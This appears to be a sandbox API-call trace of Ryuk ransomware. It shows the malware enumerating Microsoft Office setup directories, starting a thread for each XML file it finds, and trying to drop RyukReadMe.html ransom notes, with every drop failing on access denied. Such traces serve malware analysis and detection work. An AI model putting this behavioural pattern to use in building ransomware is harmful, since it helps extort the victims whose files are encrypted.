	[0134.197] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0134.198] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.198] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1
	[0134.198] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0134.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0
	[0134.200] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.201] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0134.201] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0134.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4
	[0134.395] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.396] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0134.397] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0134.397] SetLastError (dwErrCode=0x0) 
	[0134.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.397] GetLastError () returned 0x5
	[0134.397] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0134.397] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.397] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1
	[0134.398] SetLastError (dwErrCode=0x0) 
	[0134.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.100] GetLastError () returned 0x5
	[0156.100] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.100] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0156.379] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0156.379] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xbe, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1
	[0156.379] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0156.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458
	[0156.382] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0156.382] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0156.383] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0156.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444
	[0156.385] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0156.386] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0156.386] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0156.386] SetLastError (dwErrCode=0x0) 
	[0156.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.386] GetLastError () returned 0x5
	[0156.387] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.387] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.387] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1
	[0156.387] SetLastError (dwErrCode=0x0) 
	[0156.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.387] GetLastError () returned 0x5
	[0156.387] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.387] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0156.389] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0156.390] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0156.390] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0156.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454
	[0156.393] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0156.393] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0156.393] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0156.394] SetLastError (dwErrCode=0x0) 
	[0156.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.394] GetLastError () returned 0x5
	[0156.394] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.394] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.394] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1
	[0156.394] SetLastError (dwErrCode=0x0) 
	[0156.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.395] GetLastError () returned 0x5
	[0156.395] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.395] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0156.397] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0156.397] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0156.397] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0156.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c
	[0156.400] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0156.400] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0156.400] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0156.400] SetLastError (dwErrCode=0x0) 
	[0156.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.401] GetLastError () returned 0x5
	[0156.401] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.401] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.401] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1
	[0156.401] SetLastError (dwErrCode=0x0) 
	[0156.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.402] GetLastError () returned 0x5
	[0156.402] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.402] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0156.406] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0156.406] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0156.406] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0156.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c
	[0156.409] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0156.410] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0156.410] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0156.410] SetLastError (dwErrCode=0x0) 
	[0156.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.410] GetLastError () returned 0x5
	[0156.410] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0156.410] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.411] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1
	[0156.411] SetLastError (dwErrCode=0x0) 
	[0156.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.411] GetLastError () returned 0x5
